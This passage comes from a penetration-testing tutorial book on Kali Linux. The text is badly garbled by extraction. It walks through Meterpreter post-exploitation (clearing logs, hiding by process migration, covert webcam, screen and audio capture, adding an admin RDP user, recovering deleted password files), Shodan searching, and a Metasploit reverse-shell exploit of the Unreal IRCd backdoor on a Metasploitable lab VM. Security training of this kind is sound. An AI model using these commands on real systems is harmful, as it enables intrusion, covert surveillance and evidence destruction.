So if w e w anted to upload a file, just connect to the local and rem ote directories that you desire and
execute the upload com m and w ith the file nam e you w ant to send, as show n below :

W e connected to the D esktop on the K ali m achine w here w e had our tools file. W e then connected to



the ñtestò directory on our target, and sim ply used the ñuploadò com m and to transfer the file.

D ow nload w orks the sam e w ay, just use dow nload and the file nam e to pull the file off the rem ote
system  and store it on your local K ali m achine:

N ow  letôs take a look at the netw ork com m ands.

N etw ork C om m ands
These com m ands allow  you to display and m anipulate som e basic netw orking features. 

ǒ     A rp ï D isplays a list of rem ote M A C  addresses to actual IP addresses.

ǒ     Ifconfig &  ipconfig both display any netw ork interfaces on the rem ote system .

ǒ     N etstat ï D isplays a list of active netw ork connections.

ǒ     Portfw d and route allow  you to do som e advanced routing attacks. Though w e w ill not be
covering it in this book, using these tw o com m ands allow  you to use the m achine you have
exploited to pivot or use it to attack other m achines in the target netw ork or netw orks.

System  C om m ands
Below  is a list of system  com m ands. W e w onôt cover them  all, but again, it is good to read through
the list to get fam iliarized w ith them :



C L E A R EV  ï This useful little com m and w ill attem pt to clear the logs on the rem ote com puter.

W e m ay w ant to erase our tracks and clear the system  logs on the target m achine. If w e look at the
logs on the W indow s 7 system  side, w e can see that it is full of events:

Som e of those events m ay include things that w e did. So w e can clear the logs rem otely from  the K ali
system  by typing, ñclearevò:

The A pplication, System  and Security logs are w iped. If w e look at the security log again it just
show s one record, ñLog Clearò: 

N ow  obviously this w ill stick out like a sore thum b to anyone analyzing the logs. But if there are
events you w ant rem oved, you can clear the log.



G E T PID  &  PS C O M M A N D S ï A s you use M eterpreter, tw o of the com m ands that you w ill use
som ew hat frequently are getpid and ps.

ǒ     G etpid ï tells you w hat process ID  your shell is running on

ǒ     Ps ï lists all processes running on the rem ote system

So if I type, ñgetpidò I see this:

This is the process ID  num ber that our shell is using. If I type ñpsò I can see all the processes:

If w e go further dow n the list, looking for our pid num ber of 3824 w e see this:

3824  3796  pow ershell.exe  x86  1   W IN -LO A N LO TD Q LU\Fred         
C:\W indow s\System 32\W indow sPow erShell\v1.0\pow ershell.exe

This show s our process ID  of 3824. It also show s that w e are running under a powershell.exe process
as the user ñFredò.

This inform ation com es in handy w hen w e w ant to ñm igrateò out of this low  level process and into a
process w ith a higher level access. W e can m ove our shell off of this PID  to a process that has higher
level access.

M igrating also allow s us to m erge and hide our shell into another m ore com m on process, in essence
hiding our connection. Explorer.exe is one of the m ore com m on processes to m igrate to.

Sim ply find the PID # of the process you w ant to use (1736 on our system ) and type, ñm igrate
<PID #>ò



W e w ill talk about m igrating and som e of the other M eterpreter com m ands m ore in later sections. For
now  letôs talk about screenshots and using the rem ote w ebcam !

C apturing W ebcam  V ideo, Screenshots and Sound
W hen I w as listening to the new s a w hile back I rem em ber them  going on and on about a brand new
ñadvanced persistent threatò that could actually allow  attackers to turn on your w ebcam  and even
record sound. I thought this w as com pletely ridiculous as you have been able to do this w ith
M etasploit for years.

W EBC A M  V ID E O

From  the M etasploit shell, typing ñrun w ebcam  -hò displays the help m enu.

Then just type ñrun w ebcam ò and add any options that you w ant. This w ill rem otely display the
w ebcam  from  the target system .

If you use the ñ-lò option it w ill continuously grab w ebcam  snaps until you hit ñC N TR L-Cò.

The only hint you get on the target m achine that som ething is w rong is that your w ebcam  recording
light (if yours has one) com es on. O ther than that, you cannot tell that som eone is rem otely view ing
your w ebcam .



The w ebcam  screenshot above is an actual im age I got one day of m y cat. N ot sure w hy cats m ust
sleep on laptop keyboards, but I do know  now  w ho has been ordering all that Tuna fish onlineé

SC R EEN SH O TS

You can grab a snapshot of w hatever is currently being displayed on your targetôs m onitor using the
ñscreenshotò com m and:

If w e open the file w e see this:

W ell, along w ith getting his system  infected w ith a backdoor exploit, it seem s that our star em ployee



also spends his valuable tim e at w ork playing video gam es online.

N iceé

SO U N D  R E C O R D IN G

R ecording sound is very sim ilar, just type, ñrun sound_recorder -hò for options, or if you w ant to
grab a 30 second sound clip, run the com m and w ithout any options:

Y ou can then open the saved file on your K ali system  to listen to it:

R unning Scripts
The last topic w e w ill cover in this section is running scripts. M eterpreter has over 200 scripts that
you can run to further expand your exploitation toolset.

W e actually have already touched on these. W e used the ñ runò com m and to use the sound and
w ebcam  script attacks. W e w ill take a m om ent and cover a couple m ore of them .

To see a list of all the available scripts just type ñR un <tab><tab>ò:

Then just type, ñrunò w ith the script nam e that you w ant to try.

H ere are a couple of the m ore interesting ones:

C H EC K V M :

Som etim es w hen you get a rem ote shell you are not sure if you are in a Virtual M achine or a
standalone com puter. Y ou can check w ith this com m and.

A s you can see it correctly determ ined that our target w as a V M w are V M .

G ETG U I:

G etgui is a neat little script that w ill allow  you to enable rem ote desktop on a W indow s m achine (if it
isnôt already enabled) and create a rem ote desktop user.

The user is added to both the rem ote desktop user group and the adm inistrators group. This m akes it
handy if you w ant to connect back to the m achine at a later date.



First type, ñrun getgui -eò to enable rem ote desktop:

Then just run the program  again and give it a usernam e and passw ord to use:

N ow  w e just need to open a term inal and run the ñrdesktopò com m and that com es w ith K ali to
connect to the W indow s R em ote D esktop:

The ñ-p -ò sw itch tells rdesktop to prom pts you to enter a passw ord. This is a bit m ore secure as you
are not sending clear text passw ords over the w ire.

O nce w e login w e w ill get a graphical W indow s desktop on our K ali m achine:



There are additional scripts to try to turn off A nti-Virus, disable the targetôs firew all, grab artifacts
and credentials from  m ultiple program s like Firefox, ftp program s, etc., plus m any m ore.

Take som e tim e and check them  out. 

R em ote Shell
Lastly, letôs see how  to get an actual C :\ prom pt. This is extrem ely easy once w e have a M eterpreter
session. Just type the com m and, ñshellò.

Thatôs it! W e can now  run any D O S com m and that w e w ant.

P laying w ith M odules - R ecovering D eleted F iles from  R em ote System
N ow  letôs take a second and talk about som ething a little m ore advanced. Letôs see how  to use one of
the included M eterpreter m odules to recover files that have been deleted from  a rem ote drive.

T he ñrecovery_filesò script allow s you to recover files that the target user has deleted from  his
system . This could be very handy, as deleted files could contain inform ation of interest for both the
forensics and pentesting realm .

System  files and logs, account inform ation, and im portant docum ents are just a sm all sam ple of w hat



could be recovered.

To prep for this exam ple, I sim ply took m y W indow s 7 system  and created a fake ñA ccounts
Passw ords.txtò file and saved a copy of nm apôs ñD iscovery.pdfò m anual on the E: drive.

I then deleted the files:

U sing the M odule
The m odule requires that you have an open session to the target that you w ant to check. O nce you get a
successful rem ote session, sim ply type, ñbackgroundò to tem porarily back out of the session back to
the m sf prom pt and use the m odule as show n below :

A s you can see in the screenshot above, there are a couple settings that need to be set.

If you just w ant to see w hat files are there, you only need to set the ñD riveò and ñSessionò settings as
show n above.

Then just run the exploit:



The exploit ran and found four files that it could recover, the tw o that w e deleted and tw o other ones.

N ow , say w e only w anted to recover the txt files. Sim ply type, ñset F ILE S txtò and run the exploit
again:

It recovered the text files and stored them  in the /root/.m sf4/loot directory. If w e surf to that directory
w e can find and open the text files that w ere saved:

A nd view  the file:



A nd there w e go, looks like there are 3 user accounts, including passw ords, w hich w e w ere able to
recover from  the rem ote m achine!

B ut w hat if w e w anted to recover pdf files?

A gain, sim ply ñset F ILE S pdfò and run the exploit again:

A s last tim e the recovered files w ere stored in the loot directory. W e can open the PD F to verify that
it w orked:



You can also set the m odule to recover m ultiple file types at once by sim ply listing w hat you w ant in
the FILES variable and separate them  w ith a com m a.

Lastly, the files can also be recovered by the ID  num ber (not show n).

R ecovery F ile M odule W rap-U p
The m odule seem s to w ork really w ell on data drives, but not so w ell on drives w here there are a lot
of files to recover, like on the m ain drive of a single drive system .

I ran this on a W indow s 7 boot drive on a V M  that I have used a lot and it literally took hours to run.
G ranted it probably found about a thousand files, but I just canôt see how  feasible this w ould be in
real life as it w ould create an enorm ous am ount of suspicious netw ork traffic.

H ere is a netw ork packet capture of the m odule running against a drive w ith a lot of deleted files:

B ut then again, how  m any people actually record and analyze their data traffic?

The m odule does function extrem ely w ell though on sm aller drives that donôt have an enorm ous
am ount of deleted files. It w as lightning fast and w orked very w ell.

C onclusion
In this chapter w e learned a lot about M etasploitôs M eterpreter shell. Though w e covered som e of the
basics of getting around and using the shell, w e only touched on a fraction of its capabilities.
H opefully you can see w hy getting a M eterpreter shell gives you a w hole lot m ore functionality than
just getting a straight rem ote access shell.

G rabbing video and sound m ay seem  to be a bit theatrical, but social engineers could use inform ation
they glean. For instance from  video they could grab im ages of peopleôs badges, and have a glim pse
into the targetôs physical environm ent.

Sound is interesting too. A  social engineer could learn a lot about the target facility by being able to
have a live m icrophone inside the building. A nd not too long ago ñSinn3rò from  the M etasploit
developm ent team  show ed how  you could grab recorded audio and search it using AT& Tôs W atson
speech program  and M etasploit to look for keyw ords like ñpassw ordò or ñsocial security num berò.

(See ñResourcesò above for link to article)



Lastly w e saw  how  to recover deleted files from  a rem ote system  using a special M eterpreter m odule
called ñR ecovery_Filesò

O nce w e get rem ote access to a m achine w ith a M eterpreter shell w e can interact w ith the target
system , m anipulate it, and even grab video from  it.

B ut w e can also use M eterpreter to bypass W indow s U A C  protection and autom ate pulling user
passw ord hashes and even plain text passw ord. W e w ill talk about all of these features in upcom ing
chapters.

 



 

 

 

 

 

Part 3 - Inform ation G athering &  M apping



C hapter 5 ï R econ Tools
R esources

ǒ     R econ-N G  W iki Page - https://bitbucket.org/LaN M aSteR 53/recon-ng/w iki/H om e

Introduction
There are several tools in K ali Linux to aid in inform ation gathering and reconnaissance. W hen a
hacker attacks a target one of the norm al stages they perform  is inform ation gathering. They w ant to
learn as m uch about your netw ork, their target, as they can, to m ake their lives easier.

M altego is a very popular tool one that is covered quite a bit in security books and training sem inars.
A s it already has a lot of coverage, I figured w e w ould look at som e of the other tools included in
K ali.

In this chapter w e w ill look at one of the new er tools, R econ-N G  and a couple other tools that com e
w ith K ali.

R econ-N G
The R econ-N G  Fram ew ork is a pow erful tool that allow s you to perform  autom ated inform ation
gathering and netw ork reconnaissance. Think of it as M etasploit for inform ation collection.

R econ-N G  autom ates a lot of the steps that are taken in the initial process of a penetration test. It has
num erous features that allow  you to collect user inform ation for social engineering attacks, and
netw ork inform ation for netw ork m apping and m uch m ore.

You can autom atically hit num erous w ebsites to gather passive inform ation on your target and even
actively probe the target itself for data.

A nyone w ho is fam iliar w ith M etasploit w ill feel right at hom e as the interface w as m ade to have the
sam e look and feel. The com m and use and functions are very sim ilar. B asically you can use R econ-
N G  to gather info on your target, and then attack it w ith M etasploit.

U sing R econ-N G
To start recon-ng, just open a term inal prom pt and type,ñrecon-ngò:



Type, ñhelpò to bring up a list of com m ands:

N ow , like M etasploit, you can type ñshow  m odulesò to display a list of available m odules:



Som e of the m odules are passive; they never touch the target netw ork. W hile som e directly probe and
can even attack the system  you are interested in.

O ne tactic used to passively probe netw ork structure is to use the G oogle search engine to enum erate
site sub-dom ains. You know  that there w ill be a m ain dom ain like ñsom e_target_nam e.com ò but
w hat other subdom ains are out there?

You can do a G oogle search for subdom ains using the ñsite:ò and ñinurl:ò sw itches. Then rem ove
sub-dom ains (-inurl) that you find , so other subdom ains w ill appear. This can take a w hile to do by
hand and can require a lot of typing if the target has a large num ber of sub-dom ains.

R econ-N G  w ill do this for you autom atically and record w hat it finds in a database.

Just use the ñ recon/hosts/gather/http/w eb/google_site ò  m odule. Then ñshow  optionsò to see w hat
the m odule requires.

This one only requires the target dom ain.

A s in M etasploit, just type, ñset dom ain [targetnam e.com ]ò. Then just type, ñrunò and the m odule
w ill execute, as seen below :

Y ou w ill then see a screen like the sim ulated one below :



A s you can see from  the screenshot above, R econ-N G  is enum erating the sub-dom ains for a fictitious
w ebsite called ñSom eD om ainN am e.com ò. W ithin seconds, several of the sub-dom ains are listed.

A ll the data collected by R econ-N G  is placed in a database. You can create a report to view  the data
collected.

Just type in ñbackò  to get out of the current m odule:

A nd then ñ show  m odulesò  again.

N otice the ñR eportingò section:

Sim ply use one of the report m odules to autom atically create a nice report of the data that you have
obtained.

A ll the files w ill be stored in the ñ/usr/share/recon-ng/w orkspaces/defaultò directory.

R econ-N G  W rap up
Sub-dom ain enum eration is only one m odule you can run, there are m any others to choose from . There
are also som e that require a program  A PI key like Tw itter, Shodan, LinkedIn or G oogle. U sing these
you can get specific inform ation from  the corresponding sites about your targets.



For exam ple you can search Tw itter for tw eets from  your target or even check Shodan for open
system s.

I have just briefly touched on som e of the capabilities of R econ-N G . It is really an im pressive tool
that is w ell w orth checking into.

D m itry
D m itry is a nice little tool for quickly finding out inform ation about a site. Just run D m itry from  the
m enu or com m and line.

ñdm itry -s Som eD om ainN am e.com ò w ill perform  a sim ilar scan as dem onstrated in the R econ-N G
section.

N etdiscover

N etdiscover is another neat tool included in K ali. It too can be run from  the com m and prom pt or from
the m enu system .

N etdiscover scans a netw ork looking for devices and then displays them :



It can also run in stealth ñpassiveò m ode w here it doesnôt send any data, it only sniffs traffic.

Zenm ap
Zenm ap is basically a graphical version of the ever popular nm ap com m and. If you are not fam iliar
w ith nm ap, then Zenm ap is a great place to start.

Like the previous com m ands, Zenm ap can be started from  the m enu or com m and line.

O nce started, you w ill see the follow ing screen:

Just fill in the target IP address and choose w hat type of scan you w ant to perform  from  the Profile
drop dow n box. Zenm ap w ill show  you w hat the resulting nm ap com m and sw itches are in the
com m and box. Then just click the ñScanò button to run the com m and:



A s you can see above the nm ap com m and status show s up in the N m ap O utput w indow .

O ther inform ation can be view ed by clicking on additional tabs, like the ñPorts/ H ostsò tab:

O r the ñH ost D etailsò w indow :

 

C onclusion
In this chapter w e looked at the m ulti-faceted tool R econ-N G . W e saw  how  it w as created to m im ic
M etasploit so users w ho are fam iliar w ith it could pick up Recon-N G  fairly quickly.

W e also covered a couple other tools used in H ost identification, reconnaissance and inform ation
gathering.



C hapter 6 - Shodan
R esources

ǒ     Shodan W ebsite - http://w w w .shodanhq.com /

ǒ     G oogle D orks D atabase - http://w w w .exploit-db.com /google-dorks/

Introduction
Shodan is one of the coolest w ebsites on the w eb. C alled the ñH ackerôs G oogleò, ñD ark G oogleò and
m any tim es just ñterrifyingò, it is a search engine for com puters.

Shodan allow s you to find com puters on the w eb by searching for them  by keyw ord. For exam ple, you
can search for all the M icrosoft IIS 7.0 servers in C anada, or all the system s using Linux in A frica.

If you are fam iliar w ith ñG oogle D orksò, Shodan is sim ilar, but is a m uch easier w ay to search the
breadth of the internet for system s. 

The trick to using Shodan effectively is to know  the right keyw ords. U sually they are the
m anufacturerôs nam e, or a device m odel num ber, but som etim es they are the nam e of a very obscure
em bedded w eb server that you w ould never think to look for.

But once you know  these m agic keys, in seconds you can search the w orld for these devices. O r by
using filter com m ands you can refine your search to certain devices and areas.

A security tester can use Shodan to very quickly assess w hat system s on their netw ork are being
displayed publicly, w hen m aybe they shouldnôt be. It can also allow  them  to find possible rogue or
unauthorized devices that have been added to the com pany netw ork.

In this section w e w ill briefly discuss w hy scanning your netw ork space w ith Shodan is a good idea.
W e w ill then look at how  w e can do these searches from  the w eb interface, Shodanhq.com , and
finally through K ali Linux using the M etasploit Fram ew ork.

W hy scan your netw ork w ith Shodan?
There are a large num ber of seem ingly im portant system s that should never be publicly view able on
the Internet. A ll can be found easily w ith just a couple keyw ord searches.

Everything from  open, outdated &  insecure system s, routers, netw ork storage, and phone system s - to
security cam s, building controls, and even security system s.

But that is not all.

O pen netw ork printers and em bedded devices can also be a fount of inform ation for hackers giving



out SN M P and netw ork infrastructure inform ation, and possibly even user accounts and passw ords!

Sadly, in this new  high tech w orld, com puter system s are not the only things that can be found online.

Sure you can find large industrial H VA C  environm ental and building tem perature controls com pletely
open and unsecured. B ut you can also find other non-com m on devices like aquarium s w ith an online
control interface and unbelievably, even rem ote controlled doors:

O ften the online device has security, but it com es w ith it turned off from  the m anufacturer, and all the
user needs to do is turn it on or assign a passw ord.

But m any donôt:



A nd m any tim es w hen a passw ord is used, it is left to the factory default passw ord (easily found) or a
sim ple passw ord (easily cracked).

The com pany ow ner m ay not have even been the one (directly) to put one of these devices online.
There have been a couple reports of internet enabled building controls from  m ajor com panies found
online over the years. The building contractor, obviously not understanding internet security, left them
com pletely open or w ith default credentials.

Searching for open system s using Shodan has becom e very popular. If you have heard of ñUrban
Explorersò ï those that explore old abandoned buildings in cities for thrills, think of frequent Shodan
searchers as ñC yber Explorersò ï those that explore the w orldôs com puters for open or loosely
secured system s.

A nd once interesting system s are found on Shodan, the keyw ord searches are usually shared am ongst
friends or publicly posted on the internet.

G ranted m any are just surfing Shodan to grab screenshots of ridiculous things that people put on the
w eb, but it is also a tool that those w ith nefarious purposes could also use.

That is w hy it is im portant to check to see if you have system s publicly view able or accessible from
the w eb that you donôt know  about.

Shodan W ebsite
To use Shodan, sim ply point your w eb brow ser to Shodanhq.com :

Then all you need to do is enter your keyw ord to use and click, search just as you w ould on any
search engine.

So if w e w anted to search C icso routers w e could just type in ñC iscoò and click, ñsearchò:



Shodan returns links to about tw o m illion C isco routers w orldw ide. You can click on any IP address
to surf directly to the device found.

O n the left side of the screen, Shodan also show s you how  m any of the total devices are from  a
certain country or location. You can click on any of them  to zero in your search, or you could use
keyw ord filters directly in the search to fine tune the results.

F ilter G uide
U sing Filter com m ands you can quickly narrow  dow n your searches to very specific things.

For exam ple, say you w ere a M icrosoft em ployee and needed to find all the IIS servers running IIS
8.0 in the US that are a part of the M icrosoft dom ain?

Y ou could enter som ething like the line below :

This quickly and easily sorts through the m illions of servers out there and returns the ones that m atch
the query.

H ere is a sam ple search return:



1. Server title inform ation. You can search for other servers that contain the identical title text by
putting the inform ation into the title com m and.

2. D esignates the server country location, again search-able by using the country com m and.

3. The hostnam e search term  can be used to search for servers by dom ain nam es.

4. B ody text area. A ny text entered into Shodan w ithout a filter w ill be assum ed to be a body text
search and w ill look for servers that have the requested inform ation in the body text area.

F ilter C om m ands
Letôs take a closer look at the filer com m ands.

(To use these com m ands or to get m ore than one page of results, you need to sign up for a free
Shodan Account).

C ITY  and C O U N TRY  C om m and
The C ity and C ountry com m ands allow  you to narrow  dow n the geographic location of your
searches.

country:(2 Letter country code)or city:(city nam e)

             country:US

              city:M em phis

B etter yet, com bine the tw o if the city you are looking for is located in m ore than one country.

              country:U S city:M em phis

H O STN A M E  Com m and
Scan an entire dom ain w ith the hostnam e com m and:

              hostnam e:google

You can use part of the Fully Q ualified D om ain N am e, like google or the entire site like
w w w .m icrosoft.com  or support.m icrosoft.com .

N ET C om m and
Scan a single IP or a w hole net block range using the net com m and:



              net:192.168.1.10
              net:192.168.1.0/24

TITLE  C om m and
Y ou can also search for item s using the Title com m and:

              title:ñServer R oom ò

Title is probably one of the m ost over looked search param eters. You can scan the entire
Internet or your entire dom ain looking for title keyw ords.

K E Y W O R D  Search
Probably the m ost popular w ay to search Shodan is using a body keyw ord search. If you
know  the type of server the target system  is using, the nam e of an em bedded server, or w ant to
search for only ñ200 O K ò w ebpages, then the body keyw ord search is the one to use.

For instance if you w anted to find all the servers running A pache server version 2.2.8 and
only w ant open sites, or sites that didnôt return an error w hen scanned ï ñ200 O K ò sites, use
the follow ing keyw ords:

             apache/2.2.8 200 ok

O r m aybe you w ant to skip any 401 unauthorized pages or 302 M oved pages? Just use a
m inus sign and the H TM L error code:

              apache/2.2.8 -401 -302

C om bined Searches
The m ost effective Shodan searches are com pleted by com bining search term s. W ith a few  keyw ords
you could search for all of the M icrosoft servers running IIS/7.0 at your Boston location.

             IIS/7.0 hostnam e:Y ourC om pany.com  city:Boston

O r you could do a quick security scan of your dom ain for old system s that need to be updated. For
exam ple any IIS/5.0 system s located anyw here on your dom ain in France.

             IIS/5.0 hostnam e:Y ourC om pany.com  country:F R

Title searches w ork great too. M any w ebcam s use ñcam eraò in their title inform ation. If cam eras
w ere not allow ed on your netw ork you could quickly check for that.

             Title:cam era hostnam e:Y ourC om pany.com

Lastly searching using the G eo coordinates opens up som e interesting capabilities, especially for
O SIN T and governm ent entities. Say you w ere creating a netw ork m ap and w anted to search for Linux
servers located near D am ascus, Syria:

              geo:33.5,36.3 os:Linux

For som e reason not every system  w ill be correctly labeled w ith their city/ country and the geo



keyw ord helps identify additional system s that w ould not show  up otherw ise.

O ther search term s you can use include:

ǒ     Port: Search by port num ber.

ǒ     O S: Search by O perating System .

ǒ     A fter or B efore: Search for servers using dates.

Shodan Searches w ith M etasploit
Shodan search capabilities have been added to the M etasploit Fram ew ork. You just need to sign up
from  a free Shodan user account and get an A PI key from  their w ebsite. Using an A PI key allow s you
to autom ate Shodan searches.

To find system s w ith M etasploit, you sim ply use it like any other exploit:

1. C reate a free account on Shodanhq.com .

2. O btain an A PI key - http://w w w .shodanhq.com /api_doc

3. Start Postgesql (Type, ñservice postgresql startò in a term inal).

4. Start the M etasploit Service (ñservice m etasploit startò).

5. Start M etasploit (ñm sfconsoleò) or use Top Ten M enu.

6. Type, ñuse auxiliary/gather/shodan_searchò:

7. N ow , ñshow  optionsò to see w hat options w e need to use:

8. Type ñset Shodan_A PiK ey <API Key N um ber>ò and fill in your A PI K ey N um ber.

9. N ow  set the Q uery field w ith the keyw ord you w ant to search for:



10. N ow  just type, ñrunò.

11. A fter a few  seconds, you w ill receive som e statistics on your search keyw ord:

12. A nd then you w ill see actual returns:

If you w ant to use filter keyw ords, or get m ore than one page of responses, you w ill have to purchase
an unlocked A PI key.

C onclusion
In this section w e learned about the com puter search engine Shodan. W e learned that there are
thousands if not m illions of unsecured or under secured system s that can be found quickly and easily
on Shodan.

W e then learned how  to search Shodan using keyw ords and filters, and finally w e learned how  to
search Shodan from  w ithin K ali using M etasploit.

It is critical that com panies know  w hat system s that they have publicly available on the w eb. The
larger the com pany is, the m ore com m on it is that they have system s hanging out there that are



outdated, open or inadequately secured.

Shodan is a quick and easy w ay to find these devices.

I highly recom m end security team s (and even sm all business and hom e ow ners) scan their system s to
see w hat system s they have publicly available on the w eb.    

 



 
 
 
Part 3 - A ttacking H osts



C hapter 7 ï M etasploitable Tutorial - Part O ne
R esources

ǒ     http://w w w .offensive-security.com /m etasploit-unleashed/M etasploitable

ǒ     http://sourceforge.net/projects/m etasploitable/files/M etasploitable2/

ǒ     https://com m unity.rapid7.com /docs/D O C -1875

ǒ     https://com m unity.rapid7.com /m essage/4137#4137

Introduction
W e have covered a lot of basic intro, recon and m apping; now  letôs look at attacking hosts.

M etasploitable 2 is a purposefully vulnerable Linux distribution. W hat this m eans is that it has know n
bugs and vulnerabilities built in on purpose. It is a training platform  m ade to be used w ith M etasploit
to practice and hone your com puter security skills in a legal environm ent.

M any think that Linux or M ac O S are m uch m ore secure than W indow s. B ut like W indow s, if you
donôt install system  patches and updates, they are equally vulnerable.

The resources above cover a lot of inform ation on installing and using M etasploitable 2 so I w ill not
spend a lot of tim e on this topic.

B ut w e w ill go through a couple of the exploits using K ali just to see how  things w ork.

Installing and U sing M etasploitable
M etasploitable 2 is available as a Virtual W are V M . Just dow nload the file, unzip it and open it w ith
V M W are Player. Itôs that sim ple.

If you are using Virtual B ox, R apid 7 hosts a video show ing the full install of M etasploitable on
V irtual B ox. A  link to the video can found in the R esources section above.

*W arning* ï N ever run M etasploitable on a public facing system , it is, by design, vulnerable!

O nce M etasploitable boots up you w ill com e to the m ain login screen:



To login, enter the nam e and passw ord show n on the m enu:

m sfadm in/ m sfadm in

You w ouldnôt believe how  m any budding security professionals have asked for the default login
credentials for M etasploitable. A nd they put it right on the login screen!

Logging in is pretty anti-clim actic. Y ou basically just end up at a text based term inal prom pt:

B ut w e are not here to use the system  from  the keyboard; the goal is to try to get into the system
rem otely from  our K ali system .

Scanning for T argets
O ne of the first steps that m any security testers use is to do an ñ nm ap ò scan to try to determ ine w hat
ports are open and hopefully even w hat services are installed on those ports. If w e can determ ine
open ports and service program  versions, then w e m ay be able to exploit a vulnerability in the
service and com prom ise the m achine.

Letôs take a look at M etasploitable from  our K ali box.

The first thing to do is to run an nm ap scan and see w hat services are installed.

ǒ     O pen a Term inal w indow  on your K ali system  and type:

nm ap -sS -Pn <m etasploitableôs IP address>

Put in the IP address for your M etasploitable m achine, w hich in our case is 192.168.198.145. If you
didnôt know  w hat IP address your M etasploitable is at, you could alw ays scan a range of addresses
by typing som ething like, ñnm ap -sS -Pn 192.168.198.1-150ò

The ñ-sSò sw itch tells nm ap to perform  a stealth scan. The ñ-Pnò tells nm ap not to run a ping scan to
see w hat system s are up.

This w ill show  us the open ports and try to enum erate w hat services are running:



Thatôs a lot of open ports!

O kay w e definitely have a lot of possible openings; letôs see if w e can find out w hat services are
running on them . Letôs try the nm ap com m and again, but this tim e add the ñ-Aò sw itch, w hich w ill
perform  O S detection and try to determ ine service versions:

nm ap -sS -Pn -A  192.168.198.145

N m ap w ill churn for a w hile as it tries to detect the actual services running on these ports. In a few
m inutes you w ill see a screen that looks like this:



For each port, w e see the port num ber, service type and even an attem pt at the service softw are
version.

W e see several of the norm al ports are open in the im age above. There are also a lot of services
running at higher ports; one in particular is an Unreal Internet R elay C hat (IR C ) program :

U sually in tutorials they cover going after the m ain port services first. B ut I recom m end looking at
services sitting at higher ports. W hat is m ore likely to be patched and up to date, com m on core
services or a secondary service that w as installed and one tim e and possibly forgotten about?

So letôs see w hat w e can find out about this U nreal IRC service.

In the picture above w e can see the softw are version, in this case ñU nreal IRC  3.2.8.1ǌ. O ur next step
is to do a search for vulnerabilities for that softw are release. Just searching for ñunreal3.2.8.1
exploitsò in G oogle should do the trick.

B ut w hy use G oogle w hen w e can search w ith M etasploit?

E xploiting the U nreal IR C  Service
Letôs go ahead and run M etasploit:

root@ kali:~# m sfconsole

N ow  just use the search com m and and paste in the service nam e and program  version:



Running this search returns:

A n U nreal 3.2.8.1 backdoor w ith a reliability rate of ñexcellentò!

This is great new s, as the exploits are ranked according to the probability of success and stability.

If you rem em ber from  our introduction to M etasploit, there are several steps to exploiting a
vulnerability:

ǒ     Picking an Exploit

ǒ     Setting Exploit O ptions

ǒ     Picking a Payload

ǒ     Setting Payload O ptions

ǒ     R unning the Exploit

ǒ     C onnecting to the R em ote System

Letôs step through the process.

PIC K IN G  A N  E X PL O IT

If w e use the ñinfoò com m and w e can find out a little bit m ore about our possible exploit.

D oing so w e find the follow ing:

D escription:

This m odule exploits a m alicious backdoor that w as added
to the U nreal IR C D  3.2.8.1 dow nload archive. This
backdoor w as present in the Unreal3.2.8.1.tar.gz archive
betw een N ovem ber 2009 and June 12th 2010.
 
Unbelievably a backdoor w as added to the dow nload archive, w hich isé  W ell, ñunrealò!

So, letôs ñuse exploit/unix/irc/unreal_ircd_3281_backdoorò and check the options:



SETTIN G  E X PL O IT  O PTIO N S

A s you can see there are not a lot of options that need to be set. A ll that is needed is the rem ote host
address:

set R H O ST 192.168.198.145(M etasploitable IP address )

PIC K IN G  A  PA Y L O A D

N ow  w e need to pick a payload. Just type ñshow  payloadsò to display all payloads that are
com patible w ith the exploit:

Unfortunately they are all com m and shells. A  M eterpreter shell w ould be better than a com m and
shell, and give us m ore options, but for now  w e w ill just use the generic reverse shell. This w ill drop
us right into a term inal shell w ith the target w hen the exploit is finished.

N ow , just type:

set payload  cm d/unix/reverse
A nd then:



show  options

SE T TIN G  PA Y L O A D  O PT IO N S

For this payload all w e need to do is set the LH O ST com m and (the IP of our K ali M etasploit system )
and then do a final ñshow  optionsò to m ake sure everything is set okay:

O ur R H O ST (target) and LH O ST (K ali system ) values are correctly set.

W e are golden, now  just type ñexploitò:



N otice it says that a session is opened, but then it just gives you a blinking cursor.

Y ou are actually sitting in a term inal shell w ith the target m achine!

A s you can see above, I typed ñw hoam iò and the target system  responded w ith ñrootò. The R oot user
is the highest level user that you can be on a Linux m achine.

It w orked!

A ll the standard Linux com m ands w ork w ith our shell that w e have.

For instance w e can display the passw ord file:



W e w ould have to crack the passw ord file to get the actual passw ords; w e w ill take a look at this in
the Passw ord A ttacks C hapter.

C onclusion
In this chapter w e learned how  to use nm ap to find open ports on a test target system . W e also learned
how  to find out w hat services are running on those ports. W e then found out how  to find and use an
exploit against a vulnerable service.

N ext w e w ill take a quick look at som e of the scanners built into M etasploit that helps us find and
exploit specific services.

C hapter 8 ï M etasploitable - Part Tw o: Scanners
Introduction
In the last chapter w e looked at scanning the system  w ith N m ap to look for open ports and services.
This tim e w e w ill take a look at som e of the built in auxiliary scanners that com e w ith M etasploit.

R unning our nm ap scan produced a huge am ount of open ports for us to pick and choose from . W hat
m any people donôt know  is that M etasploit com es w ith a substantial am ount of built in scanners.
These scanners let us search and recover service inform ation from  a single com puter or an entire
netw ork!

So letôs get started!



For this tutorial w e again w ill be using our K ali system  as the testing platform  and the purposefully
vulnerable M etasploitable 2 virtual m achine as our target system .

U sing a Scanner
To find w hat scanners are available sim ply run ñm sfconsoleò from  a K ali com m and prom pt. A fter
M etasploit starts, type ñsearch scannerò at the prom pt:

m sf > search scanner

R ead dow n through the m assive list to see w hat is available.

For this tutorial w e w ill narrow  our attention on the com m on ports that w e found open. A s a refresher
here are the results from  the nm ap scan perform ed in the last chapter:

Letôs focus on Port 22, w hich is Secure Shell (ssh).

G o ahead and search M etasploit for ssh scanners:



N otice that several are available. W e are just looking for version inform ation for now , so w e w ill use
the ñauxiliary/scanner/ssh/ssh_versionò m odule.

1. Type, ñuse auxiliary/scanner/ssh/ssh_versionò

2. Then ñshow  optionsò to see w hat options you can use.

3. In this case all w e have to do is ñset R H O STS <IP>ò or rem ote host, w hich is our target.

4. Then just type ñexploitò to run.

W e see that our target is indeed running an SSH  server and w e see the softw are version:

ñSSH -2.0-O penSSH _4.7p1 D ebian-8ubuntuò

W e could now  use this inform ation to search for an exploit.

N otice the com m and w e set for the rem ote host is plural, R H O STS, w e can put in a w hole range of
system s here enabling us to scan an entire netw ork quickly and easily to find ssh servers.

N ow  that w e have the version num ber for SSH , w e could try to find an exploit for it, or w e could use
another auxiliary m odule, ñauxiliary/scanner/ssh/ssh_loginò, to try to brute force passw ords using
dictionary files. I w ill leave this exercise up to you.


